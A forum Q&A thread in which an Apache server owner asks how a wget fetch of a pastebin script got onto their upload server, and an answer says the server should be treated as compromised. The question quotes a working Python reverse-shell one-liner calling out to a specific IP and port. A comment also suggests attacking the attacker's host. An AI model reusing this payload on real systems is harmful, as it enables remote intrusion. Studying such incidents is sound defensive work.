0

I'm running:

  • Ubuntu 20.02
  • Apache/2.4.41
  • PHP 7.4.3

I am running a simple web server that will accept file uploads, store them and catalog them in a database.

When I check /var/log/apache2/error.log, I see

--2022-06-01 00:07:44--  https://pastebin.com/raw/XV0i1huK
Resolving pastebin.com (pastebin.com)... 104.20.68.143, 104.20.67.143, 172.67.34.170, ...
Connecting to pastebin.com (pastebin.com)|104.20.68.143|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: '/tmp/.update.py'

     0K                                                        10.0M=0s

2022-06-01 00:07:45 (10.0 MB/s) - '/tmp/.update.py' saved [193]

Contents of the .py file it downloads:

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("139.177.177.91",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

How is it possible that this happens? I assume it's because of my file permissions (I set 777 to all .php scripts and folders in /www/) I've set 744 permissions for now, but without write permissions, I can't copy the files where they need to be.

How do I protect against this attack?

And I've killed the connection and python process that was giving a remote shell

2
  • I scanned the host 139.177.177.91 with Nmap today and no port 1337 was found. Probably it has been closed. Also, the IP point to the domain operal.club
    – raspiduino
    Commented Jun 3, 2022 at 8:33
  • Also the server open port 111, which is for rpcbind, so if you want to do something with the attacker, bomb it!
    – raspiduino
    Commented Jun 3, 2022 at 8:40

1 Answer 1

3

How do I protect against this attack?

There's no general answer. You obviously have some web script that allows execution of arbitrary commands. You have to figure out which script it is, based on the logs, and then modify the script so that it'll not allow execution of random commands.

You should probably see that server as compromised. There may very well be backdoors you have not found.

0

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .